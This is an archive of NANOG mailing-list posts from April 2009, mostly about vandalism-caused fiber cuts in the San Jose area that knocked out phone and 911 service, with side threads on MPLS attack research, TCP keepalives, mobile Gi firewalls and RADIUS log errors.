Subject: Fiber cut in SF area In-Reply-To: <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> Message-ID: <20090409185510.GP39240@neu.cow.org> >From the news coverage it appears to be in the general area of http://cow.org/r/?545c -r On Thu, Apr 09, 2009 at 11:11:58AM -0700, Mike Lyon wrote: > Anyone know where the actual cut is? > > On 4/9/09, David W. Hankins wrote: > > On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: > >> Just dropping a note that there is a fiber cut in the SF area (I have a > >> metro line down). AboveNet is reporting issues and I've heard unconfirmed > >> reports that ATT and VZW are affected as well. > > > > Confirmed VZW & ATT; > > > > http://cbs5.com/local/phone.internet.outage.2.980578.html > > > > Rather widespread "general telco" outage, the county has deployed > > extra patrol units in the south bay to compensate for not being able > > to call 911. > > > > Third video link in shows repairs underway. > > > > -- > > David W. Hankins "If you don't do it right the first time, > > Software Engineer you'll just have to do it again." > > Internet Systems Consortium, Inc. -- Jack T. Hankins > > > > -- > Sent from my mobile device From ccariffe at gmail.com Thu Apr 9 14:08:22 2009 From: ccariffe at gmail.com (Chris Cariffe) Date: Thu, 9 Apr 2009 12:08:22 -0700 Subject: Fiber cut in SF area In-Reply-To: <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> Message-ID: Monterey Road just north of Blossom Hill, San Jose On Thu, Apr 9, 2009 at 11:11 AM, Mike Lyon wrote: > Anyone know where the actual cut is? > > On 4/9/09, David W. Hankins wrote: >> On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: >>> Just dropping a note that there is a fiber cut in the SF area (I have a >>> metro line down). ?AboveNet is reporting issues and I've heard unconfirmed >>> reports that ATT and VZW are affected as well. >> >> Confirmed VZW & ATT; >> >> ? ? ? http://cbs5.com/local/phone.internet.outage.2.980578.html >> >> Rather widespread "general telco" outage, the county has deployed >> extra patrol units in the south bay to compensate for not being able >> to call 911. >> >> Third video link in shows repairs underway. >> >> -- >> David W. Hankins ? ? ?"If you don't do it right the first time, >> Software Engineer ? ? ? ? ? ? ? ? ?you'll just have to do it again." >> Internet Systems Consortium, Inc. ? ? ? ? ? ? -- Jack T. Hankins >> > > -- > Sent from my mobile device > > From gherbert at retro.com Thu Apr 9 13:56:12 2009 From: gherbert at retro.com (George William Herbert) Date: Thu, 09 Apr 2009 11:56:12 -0700 Subject: Fiber cut in SF area In-Reply-To: <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> Message-ID: <200904091856.n39IuClx001736@kw.retro.com> Mike Lyon writes: >Anyone know where the actual cut is? According to SF Chronicle: http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2009/04/09/BAP816VTE6.DTL&tsp=1 "The fiber-optic cables were severed shortly before 1:30 a.m. along Monterey Highway north of Blossom Hill Road in south San Jose, police Sgt. Ronnie Lopez said." Vicintity of 121.81 W 37.26 N, but I have no idea specifically where in that general area. There are train tracks through there, could well be a vault along the train tracks alongside Monterey Highway. But I don't know specifically where the AT&T fiber runs down there. -george william herbert gherbert at retro.com From jmamodio at gmail.com Thu Apr 9 14:11:26 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 9 Apr 2009 14:11:26 -0500 Subject: Fiber cut in SF area In-Reply-To: <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> References: <20090409175141.GO39240@neu.cow.org> <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> Message-ID: <202705b0904091211r6e0cd046id47ce35e4114bfff@mail.gmail.com> On Thu, Apr 9, 2009 at 1:20 PM, Christopher Morrow wrote: > isn't there a mailing list for this sort of thing? outages@ I think it is? Jared put together long time ago seems to still be active and receiving reports about this one. List archive is at https://puck.nether.net/pipermail/outages/ My .02 Jorge From christian at automatick.net Thu Apr 9 14:12:36 2009 From: christian at automatick.net (Christian Koch) Date: Thu, 9 Apr 2009 12:12:36 -0700 Subject: attacks on MPLS? In-Reply-To: References: <20090409125604.62240d75@cs.columbia.edu> Message-ID: oh and heres the vid so you can see the demos http://www.shmoocon.org/2009/videos/AllYourPackets-Rey.m4v On Thu, Apr 9, 2009 at 11:28 AM, Christian Koch wrote: > They presented on the same topic at shmoocon, not sure if the info is any > more updated for BH EUROPE, but here is the pres they did in Feb09 > > http://www.shmoocon.org/slides/rey_mende_all_your_packets_v05.pdf > > > > > On Thu, Apr 9, 2009 at 10:15 AM, Hector Herrera wrote: > >> On Thu, Apr 9, 2009 at 9:56 AM, Steven M. Bellovin >> wrote: >> > >> http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 >> > >> > >> > --Steve Bellovin, http://www.cs.columbia.edu/~smb >> >> I'll wait to read their full presentation, but according to the >> article it appears to me that if they have gained access to a Network >> Management station or a Router, that the entire network has been >> compromised, not just MPLS. >> >> -- >> Hector Herrera >> President >> Pier Programming Services Ltd. >> >> > From r.hyunseog at ieee.org Thu Apr 9 14:16:29 2009 From: r.hyunseog at ieee.org (Alex H. Ryu) Date: Thu, 09 Apr 2009 14:16:29 -0500 Subject: Fiber cut in SF area In-Reply-To: <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> References: <20090409175141.GO39240@neu.cow.org> <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> Message-ID: <49DE498D.1020906@ieee.org> Hey Chris, Yes. outages at outages.org is the one. Alex Christopher Morrow wrote: > isn't there a mailing list for this sort of thing? outages@ I think it is? > > (not that I mind, just a little advert for the appropriate forum, and > a place that MAY have some useful info on this topic) > -chris > > On Thu, Apr 9, 2009 at 1:51 PM, Ravi Pina wrote: > >> News coverage: >> >> http://cow.org/r/?5459 >> http://cow.org/r/?545a >> >> And not that I expect any useful updates: >> >> http://twitter.com/attnews >> >> -r >> >> On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: >> >>> Just dropping a note that there is a fiber cut in the SF area (I have a >>> metro line down). ?boveNet is reporting issues and I've heard unconfirmed >>> reports that ATT and VZW are affected as well. >>> >>> Rgs, >>> craig >>> >>> >>> >> > > > > > From christian at automatick.net Thu Apr 9 14:24:53 2009 From: christian at automatick.net (Christian Koch) Date: Thu, 9 Apr 2009 12:24:53 -0700 Subject: Fiber cut in SF area In-Reply-To: <49DE3CE5.5030405@thewybles.com> References: <20090409175141.GO39240@neu.cow.org> <49DE3CE5.5030405@thewybles.com> Message-ID: nice article on bitgravity blog regarding the cuts.. http://sandbox.bitgravity.com/blog/2009/04/09/destroy-the-internet-with-a-hacksaw/ On Thu, Apr 9, 2009 at 11:22 AM, Charles Wyble wrote: > > > Ravi Pina wrote: > >> News coverage: >> >> http://cow.org/r/?5459 >> http://cow.org/r/?545a >> >> And not that I expect any useful updates: >> >> http://twitter.com/attnews >> >> > > Lots of folks covering the same thing... > > http://search.twitter.com/search?q=fiber+cut > http://search.twitter.com/search?q=outage > > Also reports of power outages as well: > http://search.twitter.com/search?q=power+outage > > > > Here is something interesting... > http://twist.flaptor.com/trends?gram=outage&table=1&tz=-7 > http://twist.flaptor.com/trends?gram=fiber%20cut&table=1&tz=-7 > > > From nanog-post at rsuc.gweep.net Thu Apr 9 14:33:47 2009 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Thu, 9 Apr 2009 15:33:47 -0400 Subject: Verizon EVDO Issues In-Reply-To: <86ljq9x24b.fsf@seastrom.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> <86myaqw00v.fsf@seastrom.com> <86ljq9x24b.fsf@seastrom.com> Message-ID: <20090409193347.GA30183@gweep.net> On Thu, Apr 09, 2009 at 11:45:08AM -0400, Robert E. Seastrom wrote: > Daniel Senie writes: > > We observe this same kind of behavior with firewalls in the path > > watching for dead sessions they can clean up. Appears they send RSTs > > to both end points when they decide a session has gone away, as > > that'll let end hosts figure it out sooner. Same workaround of turning > > on keep=alives once a minute solves this too. The behavior in the case > > of firewalls makes sense, as state tables have to be cleaned up > > eventually. Ish. 3360 argues against extraneous RSTs in general, in addition to some specific cases (response to malformed or unknown TCP options, etc). > While I agree with you that the behavior makes perfect sense, I submit > that the controls are often set improperly (by default or due to > configuration by underskilled technicians) - that is to say, without > taking into account the likely behavior of TCP when the connection is > in fact still open. Consider the default keepalive interval on a > selection of operating systems: > > FreeBSD - 7200 seconds: > root at clack [17] # sysctl -a | grep keepidle > net.inet.tcp.keepidle: 7200000 > root at clack [18] # > > MacOSX - 7200 seconds: > [Superfly:~] root# sysctl -a | grep keepidle > net.inet.tcp.keepidle: 7200000 > [Superfly:~] root# > > Windows XP - 7200 seconds: > http://support.microsoft.com/kb/314053 > > (notice a pattern here?) You mean adherance to the minimum per Host Requirements (1122)? > Seems to me that a well-engineered firewall will have enough memory in > it that (in the application for which it is specified, with > anticipated traffic levels) it doesn't have to be over-aggressive and > try cleaning up flows that haven't seen any traffic in less than, say, > two hours and ten minutes. TCP vs application keepalives have been a religious topic for ages. It would seem that generous host idle windows in the modern Internet (increased speed, throughput, mobility, avilability and hostility since 1122 was written) are a bit odd. Joe, who thinks purposefully long-lived TCP applications should certainly have their own keep-alives -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From charles at thewybles.com Thu Apr 9 14:44:05 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 12:44:05 -0700 Subject: Fiber cut in SF area In-Reply-To: <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> References: <20090409175141.GO39240@neu.cow.org> <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> Message-ID: <49DE5005.1070402@thewybles.com> Yeah. It's on outages. Not much useful there. Christopher Morrow wrote: > isn't there a mailing list for this sort of thing? outages@ I think it is? > > (not that I mind, just a little advert for the appropriate forum, and > a place that MAY have some useful info on this topic) > -chris > > On Thu, Apr 9, 2009 at 1:51 PM, Ravi Pina wrote: >> News coverage: >> >> http://cow.org/r/?5459 >> http://cow.org/r/?545a >> >> And not that I expect any useful updates: >> >> http://twitter.com/attnews >> >> -r >> >> On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: >>> Just dropping a note that there is a fiber cut in the SF area (I have a >>> metro line down). AboveNet is reporting issues and I've heard unconfirmed >>> reports that ATT and VZW are affected as well. >>> >>> Rgs, >>> craig >>> >>> >> > From michael.holstein at csuohio.edu Thu Apr 9 14:44:10 2009 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Thu, 09 Apr 2009 15:44:10 -0400 Subject: Fiber cut in SF area In-Reply-To: <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> Message-ID: <49DE500A.8010104@csuohio.edu> > Anyone know where the actual cut is? > > Based on the previously posted news articles .. First one is in this proximity : 37?15'20.79"N 121?48'9.38"W Second one is in this proximity : 37?29'44.00"N 122?14'44.31"W First one is along a highway .. second one is along railroad tracks. Google Earth's imagray of both areas is quite good (~.5m maybe) .. but not quite good enough to make out manholes. Also interesting to note .. from one of the news articles .. "AT&T's contract with the Communication Workers of America expired at 11:59 p.m. Saturday" Cheers, Michael Holstein Cleveland State University From gherbert at retro.com Thu Apr 9 14:31:22 2009 From: gherbert at retro.com (George William Herbert) Date: Thu, 09 Apr 2009 12:31:22 -0700 Subject: Fiber cut in SF area Message-ID: <200904091931.n39JVMlL002747@kw.retro.com> I had written in a NANOG reply: >Mike Lyon writes: >Anyone know where the actual cut is? > >According to SF Chronicle: >http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2009/04/09/BAP816VTE6.DTL&tsp=1 > >"The fiber-optic cables were severed shortly before 1:30 a.m. along Monterey >Highway north of Blossom Hill Road in south San Jose, police Sgt. Ronnie Lopez >said." > >Vicintity of 121.81 W 37.26 N, but I have no idea specifically where in that >general area. There are train tracks through there, could well be >a vault along the train tracks alongside Monterey Highway. But I don't >know specifically where the AT&T fiber runs down there. Additional news stories reporting second fiber cut on Sprint fiber in San Carlos, between San Francisco and San Jose, the SF Gate article above was updated at 12:20pm with that information. San Jose cut at around 1:30am, San Carlos around 3:30am. -george From jmamodio at gmail.com Thu Apr 9 14:47:53 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 9 Apr 2009 14:47:53 -0500 Subject: Fiber cut in SF area In-Reply-To: References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> Message-ID: <202705b0904091247o7ec163d0kd55c1173919f9555@mail.gmail.com> > My cellphones show one or no bars. ? Normally they are all four bars. hmmm, probably not related but could be that some cellphone operators are restricting coverage to give priority to emergency svcs communications. From enger at enger.us Thu Apr 9 14:58:32 2009 From: enger at enger.us (Robert M. Enger) Date: Thu, 09 Apr 2009 15:58:32 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> Message-ID: <49DE5368.8030803@enger.us> That AT&T has stopped provisioning protection fiber for automatic restoral is mind boggling. That our crack (or on crack) govt contracting/emergency-preparedness staff didn't demand protected facilities for 911 is another mind boggling issue. That there is no over-under wide-area back-up coverage for the cellular canopy ... We posture and orate about being prepared for terrorist attacks and natural disasters, and then events like these reveal the reality: The emperor has no clothes. Roy wrote: > Service to South Santa Clara county is completely down: Internet, > landline, and cellphones. Both Verizon and AT&T are affected. 911 is > also down. > > My cellphones show one or no bars. Normally they are all four bars. > > The idea that all of that is lumped in one fiber bundle is mind boggling. > > On Thu, Apr 9, 2009 at 11:05 AM, Matthew Kaufman wrote: > >> I saw my Sonic.net-over-AT&T ADSL go dark at 02:30 local and it is still >> down, served on a fiber remote out of SNCZCA01. (I'm guessing the 200 Paul >> outages are associated with where this ATM terminates and that's the cause, >> rather than the service in/out of Santa Cruz County, but I have no way of >> telling which from here) >> >> My own Gatespeed.net microwave to Equinix SV-3 is working fine (no surprise >> there), and I'm not seeing significant routing problems in/out of there with >> transit or peering. (Not even any down peers, so no inter-Equinix-site >> outage apparently). >> >> Matthew Kaufman >> matthew at eeph.com >> >> >> > > From matthew at eeph.com Thu Apr 9 15:04:04 2009 From: matthew at eeph.com (Matthew Kaufman) Date: Thu, 09 Apr 2009 13:04:04 -0700 Subject: Fiber cut in SF area In-Reply-To: <49DE5368.8030803@enger.us> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> Message-ID: <49DE54B4.8010504@eeph.com> Robert M. Enger wrote: > > We posture and orate about being prepared for terrorist attacks and > natural disasters, and then events like these reveal the reality: > The emperor has no clothes. You wouldn't have clothes either if you could double your profit by not wearing any. Matthew Kaufman From mike.lyon at gmail.com Thu Apr 9 15:05:55 2009 From: mike.lyon at gmail.com (Mike Lyon) Date: Thu, 9 Apr 2009 13:05:55 -0700 Subject: Fiber cut in SF area In-Reply-To: <200904091931.n39JVMlL002747@kw.retro.com> References: <200904091931.n39JVMlL002747@kw.retro.com> Message-ID: <1b5c1c150904091305w3d513ef6q11ffde46e1eb4893@mail.gmail.com> Yeah, that's about the right amount of time to crawl out of a man hole, cover it back up, get in the car, drive to a 24 hour starbucks, pick up some coffee and drive up to San Carlos, open man-hole, repeat process... On Thu, Apr 9, 2009 at 12:31 PM, George William Herbert wrote: > > I had written in a NANOG reply: > >Mike Lyon writes: > >Anyone know where the actual cut is? > > > >According to SF Chronicle: > > > http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2009/04/09/BAP816VTE6.DTL&tsp=1 > > > >"The fiber-optic cables were severed shortly before 1:30 a.m. along > Monterey > >Highway north of Blossom Hill Road in south San Jose, police Sgt. Ronnie > Lopez > >said." > > > >Vicintity of 121.81 W 37.26 N, but I have no idea specifically where in > that > >general area. There are train tracks through there, could well be > >a vault along the train tracks alongside Monterey Highway. But I don't > >know specifically where the AT&T fiber runs down there. > > Additional news stories reporting second fiber cut on Sprint fiber > in San Carlos, between San Francisco and San Jose, the SF Gate article > above > was updated at 12:20pm with that information. > > San Jose cut at around 1:30am, San Carlos around 3:30am. > > > -george > > From david at reliablehosting.com Thu Apr 9 15:06:04 2009 From: david at reliablehosting.com (David Edwards) Date: Thu, 09 Apr 2009 14:06:04 -0600 Subject: Fiber cut in SF area In-Reply-To: <20090409185510.GP39240@neu.cow.org> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> Message-ID: At 12:55 PM 4/9/2009, you wrote: > >From the news coverage it appears to be in the general area of >http://cow.org/r/?545c > >-r Interesting. The report I got from a vendor was that it is Above.net with a fiber cut in Redwood City which is affecting a circuit of mine between 200 Paul in SF and PAIX in Palo Alto, which is a ways from south San Jose. David From mikedimayuga at gmail.com Thu Apr 9 15:11:46 2009 From: mikedimayuga at gmail.com (Mike Dimayuga) Date: Thu, 9 Apr 2009 16:11:46 -0400 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> Message-ID: <5c7fa6f60904091311q74ea9930m30b27aa1f53629bf@mail.gmail.com> Hello Steven, There seems to be an underlying assumption to your question - that a firewall exists for Gi traffic only because of the NAT requirement. This is not necessarily a safe assumption to make. The NAT functionality may be needed to conserve IP space but does not take away from the importance of protecting the network infrastructure from both the outside world as well as from the mobiles themselves. There are caveats to putting firewalls in the Gi path that you have to consider - such as session count limits and how they play with lots of small-sized packets. (as you may know, not all mobile applications are well-behaved). Miguel On Thu, Apr 9, 2009 at 11:48 AM, Lee, Steven (NSG Malaysia) < kin-wei.lee at hp.com> wrote: > Hi all, in most of the existing 2G/2.5G mobile PS-core (Packet Switch) > networks have Gi segment (interface between GGSN & IP Router/firewall). Due > to the IP address constraint, operator usually do NAT on the Gi firewall to > NAT the private IP to public IP in the past. Looking at the traffic pattern > and user access behaviour, does it make sense to have firewall between the > GGSN & Public Internet if the public IP addresses are sufficient to cater > for mobile subscribers? Especially with 3G/UMTS/HSPA or even LTE in the > future. > > Please share your thought and thanks in advance :) > > Regards, > Steven Lee > -- -- Miguel de Leon Dimayuga "For we walk by faith, not by sight." From Skywing at valhallalegends.com Thu Apr 9 15:18:13 2009 From: Skywing at valhallalegends.com (Skywing) Date: Thu, 9 Apr 2009 15:18:13 -0500 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D6E5092CE6A0@caralain.haven.nynaeve.net> Verizon filters unsolicited inbound traffic for their EVDO customers in my experience. - S -----Original Message----- From: Roland Dobbins Sent: Thursday, April 09, 2009 09:32 To: NANOG list Subject: Re: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? On Apr 9, 2009, at 11:48 PM, Lee, Steven (NSG Malaysia) wrote: > Please share your thought and thanks in advance :) No, IMHO. Most broadband operators don't insert firewalls inline in front of their subscribers, and wireless broadband is no different. The infrastructure itself must be protected via iACLs, the various vendor-specific control-plane protection mechanisms, and so forth, but inserting additional state in the middle of everything doesn't buy anything, and introduces additional constraints and concerns. ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From ge at linuxbox.org Thu Apr 9 15:23:17 2009 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 09 Apr 2009 23:23:17 +0300 Subject: Fiber cut in SF area In-Reply-To: <202705b0904091211r6e0cd046id47ce35e4114bfff@mail.gmail.com> References: <20090409175141.GO39240@neu.cow.org> <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> <202705b0904091211r6e0cd046id47ce35e4114bfff@mail.gmail.com> Message-ID: <49DE5935.4040903@linuxbox.org> Jorge Amodio wrote: > On Thu, Apr 9, 2009 at 1:20 PM, Christopher Morrow > wrote: >> isn't there a mailing list for this sort of thing? outages@ I think it is? > > Jared put together long time ago seems to still be > active and receiving reports about this one. Virenda Rode started the outages mailing list. He even spent money not insignificant buying the outages.org domain from someone who owned it. Gadi. From john at hypergeek.net Thu Apr 9 15:43:36 2009 From: john at hypergeek.net (John A. Kilpatrick) Date: Thu, 9 Apr 2009 13:43:36 -0700 (PDT) Subject: Fiber cut in SF area In-Reply-To: <200904091856.n39IuClx001736@kw.retro.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <200904091856.n39IuClx001736@kw.retro.com> Message-ID: On Thu, 9 Apr 2009, George William Herbert wrote: > "The fiber-optic cables were severed shortly before 1:30 a.m. along Monterey > Highway north of Blossom Hill Road in south San Jose, police Sgt. Ronnie Lopez > said." The fact that it's vandalism is VERY annoying. Sadly it also shows how vulnerable we are. I'm guessing the next Die Hard movie will have the baddies cutting fiber trunks before trying to steal the money? -- John A. Kilpatrick john at hypergeek.net Email| http://www.hypergeek.net/ john-page at hypergeek.net Text pages| ICQ: 19147504 remember: no obstacles/only challenges From jeff at ocjtech.us Thu Apr 9 16:00:17 2009 From: jeff at ocjtech.us (Jeffrey Ollie) Date: Thu, 9 Apr 2009 16:00:17 -0500 Subject: Fiber cut in SF area In-Reply-To: <49DE500A.8010104@csuohio.edu> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <49DE500A.8010104@csuohio.edu> Message-ID: <935ead450904091400h5828bfcdq1cf3bd1f5d5e260d@mail.gmail.com> On Thu, Apr 9, 2009 at 2:44 PM, Michael Holstein wrote: > > First one is in this proximity : ?37?15'20.79"N 121?48'9.38"W Street view shows a few manholes in the vicinity. > Second one is in this proximity : ?37?29'44.00"N 122?14'44.31"W Didn't see anything obvious here. -- Jeff Ollie From jcdill.lists at gmail.com Thu Apr 9 16:17:58 2009 From: jcdill.lists at gmail.com (JC Dill) Date: Thu, 09 Apr 2009 14:17:58 -0700 Subject: Fiber cut in SF area In-Reply-To: <49DE500A.8010104@csuohio.edu> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <49DE500A.8010104@csuohio.edu> Message-ID: <49DE6606.70102@gmail.com> Michael Holstein wrote: > >> Anyone know where the actual cut is? >> >> > > Based on the previously posted news articles .. > > First one is in this proximity : 37?15'20.79"N 121?48'9.38"W > Second one is in this proximity : 37?29'44.00"N 122?14'44.31"W > > First one is along a highway .. second one is along railroad tracks. > Google Earth's imagray of both areas is quite good (~.5m maybe) .. but > not quite good enough to make out manholes. The manholes are clearly visible on the zoomed in images for the first location (Old County Road, San Carlos). There is a line of 3 closely spaced manholes easily seen in the middle of the south/east bound lane - about 100-150 feet south/east (towards Redwood City) from where Google places this location: 37?29'44.00"N 122?14'44.31"W If you go to Google's Street View at the second location: 37?29'44.00"N 122?14'44.31"W There's a manhole right there. However, the TV footage shows them accessing the lines from a manhole in the dirt along the tracks, not a manhole in the street. jc > > Also interesting to note .. from one of the news articles .. "AT&T's > contract with the Communication Workers of America expired at 11:59 > p.m. Saturday" > > Cheers, > > Michael Holstein > Cleveland State University > > > From Jay.Murphy at state.nm.us Thu Apr 9 16:18:51 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Thu, 9 Apr 2009 15:18:51 -0600 Subject: Fiber cut in SF area In-Reply-To: <49DE5368.8030803@enger.us> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> Message-ID: A sobering touch?. Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: Robert M. Enger [mailto:enger at enger.us] Sent: Thursday, April 09, 2009 1:59 PM To: Roy Cc: nanog at nanog.org Subject: Re: Fiber cut in SF area That AT&T has stopped provisioning protection fiber for automatic restoral is mind boggling. That our crack (or on crack) govt contracting/emergency-preparedness staff didn't demand protected facilities for 911 is another mind boggling issue. That there is no over-under wide-area back-up coverage for the cellular canopy ... We posture and orate about being prepared for terrorist attacks and natural disasters, and then events like these reveal the reality: The emperor has no clothes. Roy wrote: > Service to South Santa Clara county is completely down: Internet, > landline, and cellphones. Both Verizon and AT&T are affected. 911 is > also down. > > My cellphones show one or no bars. Normally they are all four bars. > > The idea that all of that is lumped in one fiber bundle is mind boggling. > > On Thu, Apr 9, 2009 at 11:05 AM, Matthew Kaufman wrote: > >> I saw my Sonic.net-over-AT&T ADSL go dark at 02:30 local and it is still >> down, served on a fiber remote out of SNCZCA01. (I'm guessing the 200 Paul >> outages are associated with where this ATM terminates and that's the cause, >> rather than the service in/out of Santa Cruz County, but I have no way of >> telling which from here) >> >> My own Gatespeed.net microwave to Equinix SV-3 is working fine (no surprise >> there), and I'm not seeing significant routing problems in/out of there with >> transit or peering. (Not even any down peers, so no inter-Equinix-site >> outage apparently). >> >> Matthew Kaufman >> matthew at eeph.com >> >> >> > > ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From jared at puck.nether.net Thu Apr 9 16:29:28 2009 From: jared at puck.nether.net (Jared Mauch) Date: Thu, 9 Apr 2009 17:29:28 -0400 Subject: Fiber cut in SF area In-Reply-To: <49DE5368.8030803@enger.us> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> Message-ID: <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> On Apr 9, 2009, at 3:58 PM, Robert M. Enger wrote: > > That AT&T has stopped provisioning protection fiber for automatic > restoral is mind boggling. > > That our crack (or on crack) govt contracting/emergency-preparedness > staff didn't demand protected facilities for 911 is another mind > boggling issue. This costs $$$ and usually isn't a problem as there are other ways to communicate. The law-enforcement folks qualify for GETS so get priority on wired/PSTN. They can also get radio priority w/ WPS. > > That there is no over-under wide-area back-up coverage for the > cellular canopy ... > The problem is how do you back up such a large area. WPS can get you priority. > We posture and orate about being prepared for terrorist attacks and > natural disasters, and then events like these reveal the reality: > The emperor has no clothes. > I think the problem is there are clothes, some people/areas have none, some have an abundance. If people don't plan for going out in public, there is a chance you'll walk outside naked ;) > > > Roy wrote: >> Service to South Santa Clara county is completely down: Internet, >> landline, and cellphones. Both Verizon and AT&T are affected. 911 >> is >> also down. >> >> My cellphones show one or no bars. Normally they are all four bars. >> If you're an ISP, you may be able to obtain GETS or WPS for your engineers. This would allow you a better chance of getting a channel to respond to issues. This is a good test to see how your backup plans might work for communication in the case of a larger distaster (earthquake, or other). Make sure you test the tools you have. The people I know with GETS cards are encouraged to test them regularly and verify they work. If someone has one, I'd be interested to know if it proved to be of value today. - Jared From bruce at yoafrica.com Thu Apr 9 16:32:55 2009 From: bruce at yoafrica.com (Bruce Anthony Grobler) Date: Thu, 9 Apr 2009 23:32:55 +0200 Subject: PPPoE PPP authentication attempts Message-ID: <200904092332.55293.bruce@yoafrica.com> Hi Everyone, Please can someone assist me with this wierdness DEAD: RADIUS server server3:1812,1813 is not responding. Apr 9 2009 21:28:42.001 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server3:1812,1813 has returned. Apr 9 2009 21:28:43.953 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server1:1812,1813 is not responding. Apr 9 2009 21:28:43.953 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server1:1812,1813 has returned. Apr 9 2009 21:28:47.601 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server2:1812,1813 is not responding. Apr 9 2009 21:28:47.601 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server2:1812,1813 has returned. Apr 9 2009 21:28:49.041 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server3:1812,1813 is not responding. Apr 9 2009 21:28:49.041 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server3:1812,1813 has returned. Apr 9 2009 21:28:54.225 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server2:1812,1813 is not responding. Apr 9 2009 21:28:54.225 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server2:1812,1813 has returned. Apr 9 2009 21:28:55.569 UTC: %RADIUS-4-RADIUS_DEAD: RADIUS server server1:1812,1813 is not responding. Apr 9 2009 21:28:55.569 UTC: %RADIUS-4-RADIUS_ALIVE: RADIUS server server1:1812,1813 has 